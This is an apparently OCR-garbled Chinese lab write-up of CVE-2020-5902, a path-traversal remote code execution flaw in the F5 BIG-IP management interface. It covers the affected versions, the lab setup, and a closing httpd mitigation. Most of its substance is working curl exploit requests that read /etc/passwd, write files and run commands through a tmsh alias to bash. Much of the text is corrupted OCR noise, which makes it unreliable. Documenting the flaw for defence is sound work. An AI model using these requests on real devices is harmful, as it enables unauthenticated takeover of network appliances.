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0x03 ElmhR%s

BIG-IP 15.x: 15.1.0/15.0.0

BIG-IP 14.x: 14.1.0 ~ 14.1.2
BIG-IP 13.x: 13.1.0 ~ 13.1.3
BIG-IP 12.x: 12.1.0 ~ 12.1.5
BIG-IP 11.x: 11.6.1 ~ 11.6.5
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1. EEM TEHvmwareX {4

https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-

ip_v15.x&ver=15.1.0&container=Virtual-Edition
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loop txqueuelen 1888 (Local Loopback)

RX packets 154 bytes 1142838 (1.8 MiB)

RX errors B dropped B overruns B frame B

TX packets 154 bytes 1142838 (1.8 MiB)

TX errors B dropped B overruns B carrier B collisions B

lo:1: flags=73<UP,LODPBACK, RUNNING> mtu 65536
inet 127.2.8.2 netmask 255.255.255.8
loop txgueuelen 1888 (Local Loopback)

mgmut: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1588
inet 192.168.158.147 netmask 255.255.255.8 ©broadcast 192.168.158.255

inetb feBB::28c:29f1%fe?2:254df prefixlen 64 =scopeid BxZ2B<link>
ether BB:Bc:29:72:25 :d" txqueuelen 1888 (Ethermet)

R¥ packets 182 ©bytes 7879~(7.6 RiB)

RX errors B dropped 8 overruns B frame B

T¥ packets 22 bytes 2484 (2.3 KiB)

TX errors B dropped B overruns B carrier B collisions B

tMM: flags=4899<UP, BROADCAST,MULTICAST> m~tu 1588
inet 127.1.1.254 netmask 255.255.255.8 broadcast 127.1.1.255
inetb fcBB:f5::1 prefixlen 64 =scopeid BxB<{global>
ether BA:98:76:54:32:18 txqueuelen 1888 (Ethermnet)
Rx packets B bytes 8 (8.8 B)
R¥X errors B dropped 8 overruns B frame 8
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2 | 192.168.150.147 /tm

BIG-IP Configuration Utility

ORI

Hostname Welcome fo the BIG-IP Configuration Utility.
bigip1
Log in with your username and password using the fields on the left
IP Address
192.168.150.147
Username
Password
| Logiin |
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curl -k

"https://example.com/tmui/login.jsp/..;/tmui/locallb/workspace/t

mshCmd.jsp?command=1list+auth+user+admin”

curl -
k "https://192.168.150.146/tmui/login.jsp/..;/tmui/locallb/works
pace/fileRead.jsp?fileName=/etc/passwd"

5A

curl -k -H "Content-Type: application/x-www-form-urlencoded"

X POST -d "fileName=/tmp/success&content=CVE-2020-

5902" "https://192.168.150.146/tmui/login.jsp/..;/tmui/locallb/w

orkspace/fileSave.jsp"

N
curl -
k "https://192.168.150.146/tmui/login.jsp/..;/tmui/locallb/works

pace/fileRead.jsp?fileName=/tmp/success"

1. Balias#HFFlistips Hbash
curl -
k "https://example.com/tmui/login.jsp/..;/tmui/locallb/workspace

/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash”
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curl -
k "https://example.com/tmui/login.jsp/..;/tmui/locallb/workspace
/fileSave.jsp?fileName=/tmp/test&content=id"

3. PfTbashiff

curl -

k "https://example.com/tmui/login.jsp/..;/tmui/locallb/workspace
/tmshCmd.jsp?command=1ist+/tmp/test"

4. AFE1istap%
curl -
k "https://example.com/tmui/login.jsp/..;/tmui/locallb/workspace

/tmshCmd.jsp?command=delete+cli+alias+private+list”
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tmsh

2) %3% httpd HEMIEE G

edit /sys httpd all-properties
3) MHFNEWNT

include ' <LocationMatch ".*\.\.;.*"> Redirect 404 /
</LocationMatch> '

4) IR ERAE R S

T ESC FHRIEA :wq

5) IAfTEn < RIFECE S

save /sys config

6) EJF httpd k3

restart sys service httpd
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https://cert.360.cn/warning/detail?id=a1768348bde7807647cbc7232edce7df
https://github.com/jas502n/CVE-2020-5902
https://blog.csdn.net/ice_age1/article/details/49998059
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